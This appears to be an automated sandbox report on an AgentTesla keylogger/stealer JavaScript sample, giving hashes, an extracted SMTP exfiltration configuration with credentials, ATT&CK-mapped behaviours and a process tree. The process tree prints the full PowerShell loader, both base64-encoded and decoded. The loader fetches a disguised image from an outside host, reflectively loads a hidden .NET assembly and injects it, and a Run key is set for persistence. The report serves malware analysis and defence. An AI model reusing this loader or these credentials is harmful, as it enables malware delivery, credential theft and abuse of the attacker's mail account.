agenttesla | 1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa

General

Target

1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa.js
Size

5KB
MD5

7c38c243d130cc60ad287a098193d3d8
SHA1

f2200655f1acf9f00ef9f68c88060b35e0c8fc71
SHA256

1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa
SHA512

c7f46c06d9358de5a3d161d3cc3eb6d03176d9f1ed937b5bfd928879082f1176cfb980e9956ab0d8bf646175b049bbc0f35db1a3f8455f8cf1d3715d9441ec92
SSDEEP

96:v7FM4bb4pV7YV+8Ll8hplZhGsQurl8hMPhLhjSsQPhoEDFS8ZDfZt6AOX6Bfd+nC:aLu1lQpl/p/lQM5VREa8dBt6Ad4gpP

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.albuspsikoloji.com.tr
Port:
587
Username:
[email protected]
Password:
Bukky101@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	1672	wscript.exe
6	1672	wscript.exe
8	1672	wscript.exe
19	1396	powershell.exe
34	1396	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
2132	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\File_Name_JS.js"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1396 set thread context of 3496	1396	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2132	powershell.exe
2132	powershell.exe
1396	powershell.exe
1396	powershell.exe
3496	AddInProcess32.exe
3496	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	3496	AddInProcess32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2132	1672	wscript.exe	86
PID 1672 wrote to memory of 2132	1672	wscript.exe	86
PID 2132 wrote to memory of 1396	2132	powershell.exe	88
PID 2132 wrote to memory of 1396	2132	powershell.exe	88
PID 1396 wrote to memory of 4512	1396	powershell.exe	97
PID 1396 wrote to memory of 4512	1396	powershell.exe	97
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99
PID 1396 wrote to memory of 3496	1396	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmVwLzQzMS4wNy42MTIuNTgxLy86cHR0aCcgLCAnMScgLCAnQzpcUHJvZ3JhbURhdGFcJyAsICdGaWxlX05hbWVfSlMnLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ep/431.07.612.581//:ptth' , '1' , 'C:\ProgramData\' , 'File_Name_JS','AddInProcess32','desativado'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\File_Name_JS.js"
      4⤵
      PID:4512
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zeugirhr.ahw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1396-31-0x000002EB5FC40000-0x000002EB5FF00000-memory.dmp

Filesize
2.8MB

Download
memory/2132-39-0x00007FF894510000-0x00007FF894FD1000-memory.dmp

Filesize
10.8MB

Download
memory/2132-21-0x00007FF894510000-0x00007FF894FD1000-memory.dmp

Filesize
10.8MB

Download
memory/2132-20-0x00007FF894510000-0x00007FF894FD1000-memory.dmp

Filesize
10.8MB

Download
memory/2132-19-0x00000247F3EE0000-0x00000247F3F02000-memory.dmp

Filesize
136KB

Download
memory/2132-9-0x00007FF894513000-0x00007FF894515000-memory.dmp

Filesize
8KB

Download
memory/3496-33-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3496-40-0x00000000053A0000-0x0000000005944000-memory.dmp

Filesize
5.6MB

Download
memory/3496-41-0x0000000004EF0000-0x0000000004F56000-memory.dmp

Filesize
408KB

Download
memory/3496-42-0x0000000006020000-0x0000000006070000-memory.dmp

Filesize
320KB

Download
memory/3496-43-0x0000000006110000-0x00000000061A2000-memory.dmp

Filesize
584KB

Download
memory/3496-44-0x0000000006090000-0x000000000609A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads